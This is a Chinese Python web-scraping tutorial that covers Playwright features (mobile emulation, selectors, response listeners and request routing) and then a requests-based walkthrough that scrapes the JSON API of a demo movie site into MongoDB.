browser = p.webkit.launch(headless=False)
context = browser.new_context(
**iphone_12_pro_max,
locale='zh-CN',
geolocation={'longitude': 116.39014, 'latitude': 39.913904},
permissions=['geolocation']
)
page = context.new_page()
page.goto('https://amap.com')
page.wait_for_load_state(state='networkidle')
page.screenshot(path='location-iphone.png')
browser.close()

这里我们先用 PlaywrightContextManager 对象的 devices 属性指定了一台移动设备,这里传入的是手机的型号,比如 iPhone 12 Pro Max,当然也可以传其他名称,比如 iPhone 8,Pixel 2 等。

前面我们已经了解了 BrowserContext 对象,BrowserContext 对象也可以用来模拟移动端浏览器,初始化一些移动设备信息、语言、权限、位置等信息,这里我们就用它来创建了一个移动端 BrowserContext 对象,通过 geolocation 参数传入了经纬度信息,通过 permissions 参数传入了赋予的权限信息,最后将得到的 BrowserContext 对象赋值为 context 变量。

接着我们就可以用 BrowserContext 对象来新建一个页面,还是调用 new_page 方法创建一个新的选项卡,然后跳转到高德地图,并调用了 wait_for_load_state 方法等待页面某个状态完成,这里我们传入的 state 是 networkidle,也就是网络空闲状态。因为在页面初始化和加载过程中,肯定是伴随有网络请求的,所以加载过程中肯定不算 networkidle 状态,所以这里我们传入 networkidle 就可以标识当前页面和数据加载完成的状态。加载完成之后,我们再调用 screenshot 方法获取当前页面截图,最后关闭浏览器。

运行下代码,可以发现这里就弹出了一个移动版浏览器,然后加载了高德地图,并定位到了故宫的位置,如图所示:

输出的截图也是浏览器中显示的结果。

所以这样我们就成功实现了移动端浏览器的模拟和一些设置,其操作 API 和 PC 版浏览器是完全一样的。

6. 选择器

前面我们注意到 click 和 fill 等方法都传入了一个字符串,这些字符串有的符合 CSS 选择器的语法,有的又是 text= 开头的,感觉似乎没太有规律的样子,它到底支持怎样的匹配规则呢?下面我们来了解下。

传入的这个字符串,我们可以称之为 Element Selector,它不仅仅支持 CSS 选择器、XPath,Playwright 还扩展了一些方便好用的规则,比如直接根据文本内容筛选,根据节点层级结构筛选等等。

文本选择

文本选择支持直接使用 text= 这样的语法进行筛选,示例如下:

1
page.click("text=Log in")

这就代表选择文本是 Log in 的节点,并点击。

CSS 选择器

CSS 选择器之前也介绍过了,比如根据 id 或者 class 筛选:

1
2
page.click("button")
page.click("#nav-bar .contact-us-item")

根据特定的节点属性筛选:

1
2
page.click("[data-test=login-button]")
page.click("[aria-label='Sign in']")

CSS 选择器 + 文本

我们还可以使用 CSS 选择器结合文本值进行海选,比较常用的就是 has-text 和 text,前者代表包含指定的字符串,后者代表字符串完全匹配,示例如下:

1
2
page.click("article:has-text('Playwright')")
page.click("#nav-bar :text('Contact us')")

第一个就是选择文本中包含 Playwright 的 article 节点,第二个就是选择 id 为 nav-bar 节点中文本值等于 Contact us 的节点。

CSS 选择器 + 节点关系

还可以结合节点关系来筛选节点,比如使用 has 来指定另外一个选择器,示例如下:

1
page.click(".item-description:has(.item-promo-banner)")

比如这里选择的就是选择 class 为 item-description 的节点,且该节点还要包含 class 为 item-promo-banner 的子节点。

另外还有一些相对位置关系,比如 right-of 可以指定位于某个节点右侧的节点,示例如下:

1
page.click("input:right-of(:text('Username'))")

这里选择的就是一个 input 节点,并且该 input 节点要位于文本值为 Username 的节点的右侧。

XPath

当然 XPath 也是支持的,不过 xpath 这个关键字需要我们自行制定,示例如下:

1
page.click("xpath=//button")

这里需要在开头指定 xpath= 字符串,代表后面是一个 XPath 表达式。

关于更多选择器的用法和最佳实践,可以参考官方文档:https://playwright.dev/python/docs/selectors。

7. 常用操作方法

上面我们了解了浏览器的一些初始化设置和基本的操作实例,下面我们再对一些常用的操作 API 进行说明。

常见的一些 API 如点击 click,输入 fill 等操作,这些方法都是属于 Page 对象的,所以所有的方法都从 Page 对象的 API 文档查找就好了,文档地址:https://playwright.dev/python/docs/api/class-page。

下面介绍几个常见的 API 用法。

事件监听

Page 对象提供了一个 on 方法,它可以用来监听页面中发生的各个事件,比如 close、console、load、request、response 等等。

比如这里我们可以监听 response 事件,response 事件可以在每次网络请求得到响应的时候触发,我们可以设置对应的回调方法获取到对应 Response 的全部信息,示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
from playwright.sync_api import sync_playwright

def on_response(response):
print(f'Statue {response.status}: {response.url}')

with sync_playwright() as p:
browser = p.chromium.launch(headless=False)
page = browser.new_page()
page.on('response', on_response)
page.goto('https://spa6.scrape.center/')
page.wait_for_load_state('networkidle')
browser.close()

这里我们在创建 Page 对象之后,就开始监听 response 事件,同时将回调方法设置为 on_response,on_response 对象接收一个参数,然后把 Response 的状态码和链接都输出出来了。

运行之后,可以看到控制台输出结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Statue 200: https://spa6.scrape.center/
Statue 200: https://spa6.scrape.center/css/app.ea9d802a.css
Statue 200: https://spa6.scrape.center/js/app.5ef0d454.js
Statue 200: https://spa6.scrape.center/js/chunk-vendors.77daf991.js
Statue 200: https://spa6.scrape.center/css/chunk-19c920f8.2a6496e0.css
...
Statue 200: https://spa6.scrape.center/css/chunk-19c920f8.2a6496e0.css
Statue 200: https://spa6.scrape.center/js/chunk-19c920f8.c3a1129d.js
Statue 200: https://spa6.scrape.center/img/logo.a508a8f0.png
Statue 200: https://spa6.scrape.center/fonts/element-icons.535877f5.woff
Statue 301: https://spa6.scrape.center/api/movie?limit=10&offset=0&token=NGMwMzFhNGEzMTFiMzJkOGE0ZTQ1YjUzMTc2OWNiYTI1Yzk0ZDM3MSwxNjIyOTE4NTE5
Statue 200: https://spa6.scrape.center/api/movie/?limit=10&offset=0&token=NGMwMzFhNGEzMTFiMzJkOGE0ZTQ1YjUzMTc2OWNiYTI1Yzk0ZDM3MSwxNjIyOTE4NTE5
Statue 200: https://p0.meituan.net/movie/da64660f82b98cdc1b8a3804e69609e041108.jpg@464w_644h_1e_1c
Statue 200: https://p0.meituan.net/movie/283292171619cdfd5b240c8fd093f1eb255670.jpg@464w_644h_1e_1c
....
Statue 200: https://p1.meituan.net/movie/b607fba7513e7f15eab170aac1e1400d878112.jpg@464w_644h_1e_1c

注意:这里省略了部分重复的内容。

可以看到,这里的输出结果其实正好对应浏览器 Network 面板中所有的请求和响应内容,和下图是一一对应的:

这个网站我们之前分析过,其真实的数据都是 Ajax 加载的,同时 Ajax 请求中还带有加密参数,不好轻易获取。

但有了这个方法,这里如果我们想要截获 Ajax 请求,岂不是就非常容易了?

改写一下判定条件,输出对应的 JSON 结果,改写如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from playwright.sync_api import sync_playwright

def on_response(response):
if '/api/movie/' in response.url and response.status == 200:
print(response.json())

with sync_playwright() as p:
browser = p.chromium.launch(headless=False)
page = browser.new_page()
page.on('response', on_response)
page.goto('https://spa6.scrape.center/')
page.wait_for_load_state('networkidle')
browser.close()

控制台输入如下:

1
2
3
{'count': 100, 'results': [{'id': 1, 'name': '霸王别姬', 'alias': 'Farewell My Concubine', 'cover': 'https://p0.meituan.net/movie/ce4da3e03e655b5b88ed31b5cd7896cf62472.jpg@464w_644h_1e_1c', 'categories': ['剧情', '爱情'], 'published_at': '1993-07-26', 'minute': 171, 'score': 9.5, 'regions': ['中国大陆', '中国香港']},
...
'published_at': None, 'minute': 103, 'score': 9.0, 'regions': ['美国']}, {'id': 10, 'name': '狮子王', 'alias': 'The Lion King', 'cover': 'https://p0.meituan.net/movie/27b76fe6cf3903f3d74963f70786001e1438406.jpg@464w_644h_1e_1c', 'categories': ['动画', '歌舞', '冒险'], 'published_at': '1995-07-15', 'minute': 89, 'score': 9.0, 'regions': ['美国']}]}

简直是得来全不费工夫,我们直接通过这个方法拦截了 Ajax 请求,直接把响应结果拿到了,即使这个 Ajax 请求有加密参数,我们也不用关心,因为我们直接截获了 Ajax 最后响应的结果,这对数据爬取来说实在是太方便了。

另外还有很多其他的事件监听,这里不再一一介绍了,可以查阅官方文档,参考类似的写法实现。

获取页面源码

要获取页面的 HTML 代码其实很简单,我们直接通过 content 方法获取即可,用法如下:

1
2
3
4
5
6
7
8
9
10
from playwright.sync_api import sync_playwright

with sync_playwright() as p:
browser = p.chromium.launch(headless=False)
page = browser.new_page()
page.goto('https://spa6.scrape.center/')
page.wait_for_load_state('networkidle')
html = page.content()
print(html)
browser.close()

运行结果就是页面的 HTML 代码。获取了 HTML 代码之后,我们通过一些解析工具就可以提取想要的信息了。

页面点击

刚才我们通过示例也了解了页面点击的方法,那就是 click,这里详细说一下其使用方法。

页面点击的 API 定义如下:

1
page.click(selector, **kwargs)

这里可以看到必传的参数是 selector,其他的参数都是可选的。第一个 selector 就代表选择器,可以用来匹配想要点击的节点,如果传入的选择器匹配了多个节点,那么只会用第一个节点。

这个方法的内部执行逻辑如下:

  • 根据 selector 找到匹配的节点,如果没有找到,那就一直等待直到超时,超时时间可以由额外的 timeout 参数设置,默认是 30 秒。
  • 等待对该节点的可操作性检查的结果,比如说如果某个按钮设置了不可点击,那它会等待该按钮变成了可点击的时候才去点击,除非通过 force 参数设置跳过可操作性检查步骤强制点击。
  • 如果需要的话,就滚动下页面,将需要被点击的节点呈现出来。
  • 调用 page 对象的 mouse 方法,点击节点中心的位置,如果指定了 position 参数,那就点击指定的位置。

click 方法的一些比较重要的参数如下:

  • click_count:点击次数,默认为 1。
  • timeout:等待要点击的节点的超时时间,默认是 30 秒。
  • position:需要传入一个字典,带有 x 和 y 属性,代表点击位置相对节点左上角的偏移位置。
  • force:即使不可点击,那也强制点击。默认是 False。

具体的 API 设置参数可以参考官方文档:https://playwright.dev/python/docs/api/class-page/#pageclickselector-kwargs。

文本输入

文本输入对应的方法是 fill,API 定义如下:

1
page.fill(selector, value, **kwargs)

这个方法有两个必传参数,第一个参数也是 selector,第二个参数是 value,代表输入的内容,另外还可以通过 timeout 参数指定对应节点的最长等待时间。

获取节点属性

除了对节点进行操作,我们还可以获取节点的属性,方法就是 get_attribute,API 定义如下:

1
page.get_attribute(selector, name, **kwargs)

这个方法有两个必传参数,第一个参数也是 selector,第二个参数是 name,代表要获取的属性名称,另外还可以通过 timeout 参数指定对应节点的最长等待时间。

示例如下:

1
2
3
4
5
6
7
8
9
10
from playwright.sync_api import sync_playwright

with sync_playwright() as p:
browser = p.chromium.launch(headless=False)
page = browser.new_page()
page.goto('https://spa6.scrape.center/')
page.wait_for_load_state('networkidle')
href = page.get_attribute('a.name', 'href')
print(href)
browser.close()

这里我们调用了 get_attribute 方法,传入的 selector 是 a.name,选定了 class 为 name 的 a 节点,然后第二个参数传入了 href,获取超链接的内容,输出结果如下:

1
/detail/ZWYzNCN0ZXVxMGJ0dWEjKC01N3cxcTVvNS0takA5OHh5Z2ltbHlmeHMqLSFpLTAtbWIx

可以看到对应 href 属性就获取出来了,但这里只有一条结果,因为这里有个条件,那就是如果传入的选择器匹配了多个节点,那么只会用第一个节点。

那怎么获取所有的节点呢?

获取多个节点

获取所有节点可以使用 query_selector_all 方法,它可以返回节点列表,通过遍历获取到单个节点之后,我们可以接着调用单个节点的方法来进行一些操作和属性获取,示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
from playwright.sync_api import sync_playwright

with sync_playwright() as p:
browser = p.chromium.launch(headless=False)
page = browser.new_page()
page.goto('https://spa6.scrape.center/')
page.wait_for_load_state('networkidle')
elements = page.query_selector_all('a.name')
for element in elements:
print(element.get_attribute('href'))
print(element.text_content())
browser.close()

这里我们通过 query_selector_all 方法获取了所有匹配到的节点,每个节点对应的是一个 ElementHandle 对象,然后 ElementHandle 对象也有 get_attribute 方法来获取节点属性,另外还可以通过 text_content 方法获取节点文本。

运行结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/detail/ZWYzNCN0ZXVxMGJ0dWEjKC01N3cxcTVvNS0takA5OHh5Z2ltbHlmeHMqLSFpLTAtbWIx
霸王别姬 - Farewell My Concubine
/detail/ZWYzNCN0ZXVxMGJ0dWEjKC01N3cxcTVvNS0takA5OHh5Z2ltbHlmeHMqLSFpLTAtbWIy
这个杀手不太冷 - Léon
/detail/ZWYzNCN0ZXVxMGJ0dWEjKC01N3cxcTVvNS0takA5OHh5Z2ltbHlmeHMqLSFpLTAtbWIz
肖申克的救赎 - The Shawshank Redemption
/detail/ZWYzNCN0ZXVxMGJ0dWEjKC01N3cxcTVvNS0takA5OHh5Z2ltbHlmeHMqLSFpLTAtbWI0
泰坦尼克号 - Titanic
/detail/ZWYzNCN0ZXVxMGJ0dWEjKC01N3cxcTVvNS0takA5OHh5Z2ltbHlmeHMqLSFpLTAtbWI1
罗马假日 - Roman Holiday
/detail/ZWYzNCN0ZXVxMGJ0dWEjKC01N3cxcTVvNS0takA5OHh5Z2ltbHlmeHMqLSFpLTAtbWI2
唐伯虎点秋香 - Flirting Scholar
/detail/ZWYzNCN0ZXVxMGJ0dWEjKC01N3cxcTVvNS0takA5OHh5Z2ltbHlmeHMqLSFpLTAtbWI3
乱世佳人 - Gone with the Wind
/detail/ZWYzNCN0ZXVxMGJ0dWEjKC01N3cxcTVvNS0takA5OHh5Z2ltbHlmeHMqLSFpLTAtbWI4
喜剧之王 - The King of Comedy
/detail/ZWYzNCN0ZXVxMGJ0dWEjKC01N3cxcTVvNS0takA5OHh5Z2ltbHlmeHMqLSFpLTAtbWI5
楚门的世界 - The Truman Show
/detail/ZWYzNCN0ZXVxMGJ0dWEjKC01N3cxcTVvNS0takA5OHh5Z2ltbHlmeHMqLSFpLTAtbWIxMA==
狮子王 - The Lion King

获取单个节点

获取单个节点也有特定的方法,就是 query_selector,如果传入的选择器匹配到多个节点,那它只会返回第一个节点,示例如下:

1
2
3
4
5
6
7
8
9
10
11
from playwright.sync_api import sync_playwright

with sync_playwright() as p:
browser = p.chromium.launch(headless=False)
page = browser.new_page()
page.goto('https://spa6.scrape.center/')
page.wait_for_load_state('networkidle')
element = page.query_selector('a.name')
print(element.get_attribute('href'))
print(element.text_content())
browser.close()

运行结果如下:

1
2
/detail/ZWYzNCN0ZXVxMGJ0dWEjKC01N3cxcTVvNS0takA5OHh5Z2ltbHlmeHMqLSFpLTAtbWIx
霸王别姬 - Farewell My Concubine

可以看到这里只输出了第一个匹配节点的信息。

网络劫持

最后再介绍一个实用的方法 route,利用 route 方法,我们可以实现一些网络劫持和修改操作,比如修改 request 的属性,修改 response 响应结果等。

看一个实例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from playwright.sync_api import sync_playwright
import re

with sync_playwright() as p:
browser = p.chromium.launch(headless=False)
page = browser.new_page()

def cancel_request(route, request):
route.abort()

page.route(re.compile(r"(\.png)|(\.jpg)"), cancel_request)
page.goto("https://spa6.scrape.center/")
page.wait_for_load_state('networkidle')
page.screenshot(path='no_picture.png')
browser.close()

这里我们调用了 route 方法,第一个参数通过正则表达式传入了匹配的 URL 路径,这里代表的是任何包含 .png.jpg 的链接,遇到这样的请求,会回调 cancel_request 方法处理,cancel_request 方法可以接收两个参数,一个是 route,代表一个 CallableRoute 对象,另外一个是 request,代表 Request 对象。这里我们直接调用了 route 的 abort 方法,取消了这次请求,所以最终导致的结果就是图片的加载全部取消了。

观察下运行结果,如图所示:

可以看到图片全都加载失败了。

这个设置有什么用呢?其实是有用的,因为图片资源都是二进制文件,而我们在做爬取过程中可能并不想关心其具体的二进制文件的内容,可能只关心图片的 URL 是什么,所以在浏览器中是否把图片加载出来就不重要了。所以如此设置之后,我们可以提高整个页面的加载速度,提高爬取效率。

另外,利用这个功能,我们还可以将一些响应内容进行修改,比如直接修改 Response 的结果为自定义的文本文件内容。

首先这里定义一个 HTML 文本文件,命名为 custom_response.html,内容如下:

1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<html>
<head>
<title>Hack Response</title>
</head>
<body>
<h1>Hack Response</h1>
</body>
</html>

代码编写如下:

1
2
3
4
5
6
7
8
9
10
11
12
from playwright.sync_api import sync_playwright

with sync_playwright() as p:
browser = p.chromium.launch(headless=False)
page = browser.new_page()

def modify_response(route, request):
route.fulfill(path="./custom_response.html")

page.route('/', modify_response)
page.goto("https://spa6.scrape.center/")
browser.close()

这里我们使用 route 的 fulfill 方法指定了一个本地文件,就是刚才我们定义的 HTML 文件,运行结果如下:

可以看到,Response 的运行结果就被我们修改了,URL 还是不变的,但是结果已经成了我们修改的 HTML 代码。

所以通过 route 方法,我们可以灵活地控制请求和响应的内容,从而在某些场景下达成某些目的。

8. 总结

本节介绍了 Playwright 的基本用法,其 API 强大又易于使用,同时具备很多 Selenium、Pyppeteer 不具备的更好用的 API,是新一代 JavaScript 渲染页面的爬取利器。

本节代码:https://github.com/Python3WebSpider/PlaywrightTest。

Python

系列文章总目录:【2022 年】Python3 爬虫学习教程,本教程内容多数来自于《Python3网络爬虫开发实战(第二版)》一书,目前截止 2022 年,可以将爬虫基本技术进行系统讲解,同时将最新前沿爬虫技术如异步、JavaScript 逆向、AST、安卓逆向、Hook、智能解析、群控技术、WebAssembly、大规模分布式、Docker、Kubernetes 等,市面上目前就仅有《Python3 网络爬虫开发实战(第二版)》一书了,点击了解详情

在上一节中我们已经学习了 Ajax 的基本原理和分析方法,这一节我们来结合一个实际的案例来看一下 Ajax 分析和爬取页面的具体实现。

1. 准备工作

在本节开始之前,我们需要做好如下准备工作:

  • 安装好 Python 3(最低为 3.6 版本),并成功运行 Python 3 程序。
  • 了解 Python HTTP 请求库 requests 的基本用法。
  • 了解 Ajax 基础知识和分析 Ajax 的基本方法。

以上内容在前面的章节中均有讲解,如尚未准备好,建议先熟悉一下这些内容。

2. 爬取目标

本节我们以一个示例网站来试验一下 Ajax 的爬取,其链接为:https://spa1.scrape.center/,该示例网站的数据请求是通过 Ajax 完成的,页面的内容是通过 JavaScript 渲染出来的,页面如图所示:

image-20210705004644681

可能大家看着这个页面似曾相识,心想这不就是上一个案例的网站吗?但其实不是。这个网站的后台实现逻辑和数据加载方式完全不同。只不过最后呈现的样式是一样的。

这个网站同样支持翻页,可以点击最下方的页码来切换到下一页,如图所示:

image-20210705004704636

点击每一个电影的链接进入详情页,页面结构也是完全一样的,如图所示:

image-20210705004718813

我们需要爬取的数据也是和原来相同的,包括电影的名称、封面、类别、上映日期、评分、剧情简介等信息。

本节中我们需要完成的目标如下。

  • 分析页面数据的加载逻辑。
  • 用 requests 实现 Ajax 数据的爬取。
  • 将每部电影的数据保存成一个 JSON 数据文件。

由于本节主要讲解 Ajax,所以对于数据存储和加速部分就不再展开详细实现,主要是讲解 Ajax 的分析和爬取实现。

好,我们现在就开始吧。

3. 初步探索

首先,我们先尝试用之前的 requests 来直接提取页面,看看会得到怎样的结果。用最简单的代码实现一下 requests 获取首页源码的过程,代码如下:

1
2
3
4
5
import requests

url = 'https://spa1.scrape.center/'
html = requests.get(url).text
print(html)

运行结果如下:

1
<!DOCTYPE html><html lang=en><head><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1"><link rel=icon href=/favicon.ico><title>Scrape | Movie</title><link href=/css/chunk-700f70e1.1126d090.css rel=prefetch><link href=/css/chunk-d1db5eda.0ff76b36.css rel=prefetch><link href=/js/chunk-700f70e1.0548e2b4.js rel=prefetch><link href=/js/chunk-d1db5eda.b564504d.js rel=prefetch><link href=/css/app.ea9d802a.css rel=preload as=style><link href=/js/app.1435ecd5.js rel=preload as=script><link href=/js/chunk-vendors.77daf991.js rel=preload as=script><link href=/css/app.ea9d802a.css rel=stylesheet></head><body><noscript><strong>We're sorry but portal doesn't work properly without JavaScript enabled. Please enable it to continue.</strong></noscript><div id=app></div><script src=/js/chunk-vendors.77daf991.js></script><script src=/js/app.1435ecd5.js></script></body></html>

可以看到,爬取结果就只有这么一点 HTML 内容,而我们在浏览器中打开这个页面,却能看到如图所示的结果:

image-20210705004644681

在 HTML 中,我们只能看到在源码中引用了一些 JavaScript 和 CSS 文件,并没有观察到有任何电影数据信息。

如果遇到这样的情况,这说明我们现在看到的整个页面便是 JavaScript 渲染得到的,浏览器执行了 HTML 中所引用的 JavaScript 文件,JavaScript 通过调用一些数据加载和页面渲染方法,才最终呈现了图中所示的结果。

在一般情况下,这些数据都是通过 Ajax 来加载的, JavaScript 在后台调用这些 Ajax 数据接口,得到数据之后,再把数据进行解析并渲染呈现出来,得到最终的页面。所以说,要想爬取这个页面,我们可以直接爬取 Ajax 接口获取数据就好了。

在上一节中,我们已经了解了 Ajax 分析的基本方法,下面我们就来分析一下 Ajax 接口的逻辑并实现数据爬取吧。

4. 爬取列表页

首先我们来分析一下列表页的 Ajax 接口逻辑,打开浏览器开发者工具,切换到 Network 面板,勾选上 Preserve Log 并切换到 XHR 选项卡,如图所示:

image-20210705004826230

接着重新刷新页面,再点击第二页、第三页、第四页的按钮,这时候可以观察到页面上的数据发生了变化,同时开发者工具下方就监听到了几个 Ajax 请求,如图所示:

image-20210705004904893

由于我们切换了 4 页,每次翻页也出现了对应的 Ajax 请求,我们可以点击查看其请求详情。观察其请求的 URL 和参数以及响应内容是怎样的,如图所示。

image-20210705004957327

这里我们点开了最后个结果,观察到其 Ajax 接口请求的 URL 地址为:https://spa1.scrape.center/api/movie/?limit=10&offset=40,这里有两个参数,一个是 limit,这里是 10;一个是 offset,这里也是 40。

通过多个 Ajax 接口的参数,我们可以观察到这么一个规律:limit 一直为 10,这就正好对应着每页 10 条数据;offset 在依次变大,页面每加 1 页,offset 就加 10,这就代表着页面的数据偏移量,比如第二页的 offset 为 10 则代表着跳过 10 条数据,返回从 11 条数据开始的结果,再加上 limit 的限制,那就是第 11 条至第 20 条数据的结果。

接着我们再观察一下响应的数据,切换到 Preview 选项卡,结果如图所示:

image-20210705005115792

可以看到,结果就是一些 JSON 数据,它有一个 results 字段,是一个列表,列表中每一个元素都是一个字典。观察一下字典的内容,这里我们正好可以看到有对应的电影数据的字段了,如 namealiascovercategories,对比下浏览器中的真实数据,各个内容完全一致,而且这个数据已经非常结构化了,完全就是我们想要爬取的数据,真的是得来全不费工夫。

这样的话,我们只需要把所有页面的 Ajax 接口构造出来,所有列表页的数据我们都可以轻松获取到了。

我们先定义一些准备工作,导入一些所需的库并定义一些配置,代码如下:

1
2
3
4
5
6
7
import requests
import logging

logging.basicConfig(level=logging.INFO,
format='%(asctime)s - %(levelname)s: %(message)s')

INDEX_URL = 'https://spa1.scrape.center/api/movie/?limit={limit}&offset={offset}'

这里我们引入了 requests 和 logging 库,并定义了 logging 的基本配置,接着我们定义了 INDEX_URL,这里把 limitoffset 预留出来了变成了占位符,可以动态传入参数构造一个完整的列表页 URL。

下面我们来实现一下详情页的爬取。还是和原来一样,我们先定义一个通用的爬取方法,其代码如下:

1
2
3
4
5
6
7
8
9
def scrape_api(url):
logging.info('scraping %s...', url)
try:
response = requests.get(url)
if response.status_code == 200:
return response.json()
logging.error('get invalid status code %s while scraping %s', response.status_code, url)
except requests.RequestException:
logging.error('error occurred while scraping %s', url, exc_info=True)

这里我们定义了一个 scrape_api 方法,和之前不同的是,这个方法专门用来处理 JSON 接口,最后的 response 调用的是 json 方法,它可以解析响应的内容并将其转化成 JSON 字符串。

接着在这个基础之上,我们定义一个爬取列表页的方法,其代码如下:

1
2
3
4
5
LIMIT = 10

def scrape_index(page):
url = INDEX_URL.format(limit=LIMIT, offset=LIMIT * (page - 1))
return scrape_api(url)

这里我们定义了一个 scrape_index 方法,它接收一个参数 page,该参数代表列表页的页码。

这里我们先构造了一个 url,通过字符串的 format 方法,传入 limitoffset 的值。这里 limit 就直接使用了全局变量 LIMIT 的值;offset 则是动态计算的,就是页码数减一再乘以 limit,比如第一页 offset 就是 0,第二页 offset 就是 10,以此类推。构造好了 url 之后,直接调用 scrape_api 方法并返回结果即可。

这样我们就完成了列表页的爬取,每次请求都会得到一页 10 部的电影数据。

由于这时爬取到的数据已经是 JSON 类型了,所以我们不用像之前那样去解析 HTML 代码来提取数据了,爬到的数据就是我们想要的结构化数据,因此解析这一步就可以直接省略啦。

到此为止,我们能成功爬取列表页并提取出电影列表信息了。

5. 爬取详情页

这时候我们已经可以拿到每一页的电影数据了,但是看看这些数据实际上还缺少了一些我们想要的信息,如剧情简介等信息,所以需要进一步进入到详情页来获取这些内容。

这时候点击任意一部电影,如《教父》,进入其详情页,这时可以发现页面的 URL 已经变成了 https://spa1.scrape.center/detail/40,页面也成功展示了详情页的信息,如图所示:

image-20210705005243372

另外,我们也可以观察到在开发者工具中又出现了一个 Ajax 请求,其 URL 为 https://spa1.scrape.center/api/movie/40/,通过 Preview 选项卡也能看到 Ajax 请求对应响应的信息,如图 所示。

image-20200601141202684
稍加观察就可以发现,Ajax 请求的 URL 后面有一个参数是可变的,这个参数就是电影的 id,这里是 40,对应《教父》这部电影。

如果我们想要获取 id 为 50 的电影,只需要把 URL 最后的参数改成 50 即可,即 https://spa1.scrape.center/api/movie/50/,请求这个新的 URL 我们就能获取 id 为 50 的电影所对应的数据了。

同样,响应结果也是结构化的 JSON 数据,字段也非常规整,我们直接爬取即可。

现在分析好了详情页的数据提取逻辑,那么怎么和列表页关联起来呢?这个 id 哪里来呢?我们回过头来再看看列表页的接口返回数据,如图所示。

可以看到,列表页原本的返回数据就带了 id 这个字段,所以我们只需要拿列表页结果中的 id 来构造详情页的 Ajax 请求的 URL 就好了。

接着,我们就先定义一个详情页的爬取逻辑,代码如下:

1
2
3
4
5
DETAIL_URL = 'https://spa1.scrape.center/api/movie/{id}'

def scrape_detail(id):
url = DETAIL_URL.format(id=id)
return scrape_api(url)

这里我们定义了一个 scrape_detail 方法,它接收一个参数 id。这里的实现也非常简单,先根据定义好的 DETAIL_URLid 构造一个真实的详情页 Ajax 请求的 URL,然后直接调用 scrape_api 方法传入这个 url 即可。

接着,我们定义一个总的调用方法,将以上方法串联调用起来,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
TOTAL_PAGE = 10

def main():
for page in range(1, TOTAL_PAGE + 1):
index_data = scrape_index(page)
for item in index_data.get('results'):
id = item.get('id')
detail_data = scrape_detail(id)
logging.info('detail data %s', detail_data)

if __name__ == '__main__':
main()

这里我们定义了一个 main 方法,首先遍历获取了页码 page,然后把 page 当参数传递给了 scrape_index 方法,得到列表页的数据。接着我们遍历每个列表页的每个结果,获取到每部电影的 id,然后把 id 当作参数传递给 scrape_detail 方法来爬取每部电影的详情数据,并将其赋值为 detail_data,输出即可。

运行结果如下:

1
2
3
4
5
6
2020-03-19 02:51:55,981 - INFO: scraping https://spa1.scrape.center/api/movie/?limit=10&offset=0...
2020-03-19 02:51:56,446 - INFO: scraping https://spa1.scrape.center/api/movie/1...
2020-03-19 02:51:56,638 - INFO: detail data {'id': 1, 'name': '霸王别姬', 'alias': 'Farewell My Concubine', 'cover': 'https://p0.meituan.net/movie/ce4da3e03e655b5b88ed31b5cd7896cf62472.jpg@464w_644h_1e_1c', 'categories': ['剧情', '爱情'], 'regions': ['中国大陆', '中国香港'], 'actors': [{'name': '张国荣', 'role': '程蝶衣', ...}, ...], 'directors': [{'name': '陈凯歌', 'image': 'https://p0.meituan.net/movie/8f9372252050095067e0e8d58ef3d939156407.jpg@128w_170h_1e_1c'}], 'score': 9.5, 'rank': 1, 'minute': 171, 'drama': '影片借一出《霸王别姬》的京戏,牵扯出三个人之间一段随时代风云变幻的爱恨情仇。段小楼(张丰毅 饰)与程蝶衣(张国荣 饰)是一对打小一起长大的师兄弟,...', 'photos': [...], 'published_at': '1993-07-26', 'updated_at': '2020-03-07T16:31:36.967843Z'}
2020-03-19 02:51:56,640 - INFO: scraping https://spa1.scrape.center/api/movie/2...
2020-03-19 02:51:56,813 - INFO: detail data {'id': 2, 'name': '这个杀手不太冷', 'alias': 'Léon', 'cover': 'https://p1.meituan.net/movie/6bea9af4524dfbd0b668eaa7e187c3df767253.jpg@464w_644h_1e_1c', 'categories': ['剧情', '动作', '犯罪'], 'regions': ['法国'], 'actors': [{'name': '让·雷诺', 'role': '莱昂 Leon', ...}, ...], 'directors': [{'name': '吕克·贝松', 'image': 'https://p0.meituan.net/movie/0e7d67e343bd3372a714093e8340028d40496.jpg@128w_170h_1e_1c'}], 'score': 9.5, 'rank': 3, 'minute': 110, 'drama': '里昂(让·雷诺 饰)是名孤独的职业杀手,受人雇佣。一天,邻居家小姑娘马蒂尔德(纳塔丽·波特曼 饰)敲开他的房门,要求在他那里暂避杀身之祸。...', 'photos': [...], 'published_at': '1994-09-14', 'updated_at': '2020-03-07T16:31:43.826235Z'}
...

由于内容较多,这里省略了部分内容。

可以看到,其实整个爬取工作就已经完成了,这里会顺次爬取每一页列表页 Ajax 接口,然后去顺次爬取每部电影的详情页 Ajax 接口,打印出每部电影的 Ajax 接口响应数据,而且都是 JSON 格式。这样,所有电影的详情数据都会被我们爬取到啦。

6. 保存数据

好,成功提取到详情页信息之后,我们下一步就要把数据保存起来了。在前面我们学习了 MongoDB 的相关操作,接下来我们就把数据保存到 MongoDB 吧。

在这之前,请确保现在有一个可以正常连接和使用的 MongoDB 数据库,这里我就以本地 localhost 的 M 哦能够 DB 数据库为例来进行操作,其运行在 27017 端口上,无用户名和密码。

将数据导入 MongoDB 需要用到 PyMongo 这个库。接下来我们把它们引入一下,然后同时定义一下 MongoDB 的连接配置,实现如下:

1
2
3
4
5
6
7
8
MONGO_CONNECTION_STRING = 'mongodb://localhost:27017'
MONGO_DB_NAME = 'movies'
MONGO_COLLECTION_NAME = 'movies'

import pymongo
client = pymongo.MongoClient(MONGO_CONNECTION_STRING)
db = client['movies']
collection = db['movies']

在这里我们声明了几个变量,介绍如下:

  • MONGO_CONNECTION_STRING:MongoDB 的连接字符串,里面定义了 MongoDB 的基本连接信息,如 host、port,还可以定义用户名密码等内容。
  • MONGO_DB_NAME:MongoDB 数据库的名称。
  • MONGO_COLLECTION_NAME:MongoDB 的集合名称。

这里我们用 MongoClient 声明了一个连接对象,然后依次声明了存储的数据库和集合。

